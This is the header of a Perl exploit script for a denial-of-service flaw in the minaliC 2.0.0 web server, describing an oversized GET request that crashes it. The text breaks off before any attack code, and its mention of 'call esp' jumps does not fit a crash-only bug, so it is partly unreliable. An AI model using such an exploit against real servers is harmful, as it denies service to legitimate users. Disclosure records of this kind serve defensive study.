#!/usr/bin/perluse Socket;# Exploit Title: minaliC 2.0.0 - Denial of Service (DoS)# Discovery by: Fernando Mengali# Discovery Date: 03 january 2024# Vendor Homepage: http://minalic.sourceforge.net/# Download to demo: https://drive.google.com/file/d/1WoDbps6up2s5Xa40YXDSABRU9J17yRQd/view?usp=sharing# Notification vendor: No reported# Tested Version: minaliC 2.0.0# Tested on: Window XP Professional - Service Pack 2 and 3 - English# Vulnerability Type: Denial of Service (DoS)# Vídeo: https://www.youtube.com/watch?v=R_gkEjvpJNw#1. Description#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).#For this exploit I have tried several strategies to increase reliability and performance:#Jump to a static 'call esp'#Backwards jump to code a known distance from the stack pointer.#The server did not properly handle request with large amounts of data via method GET to web server.#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.#2.
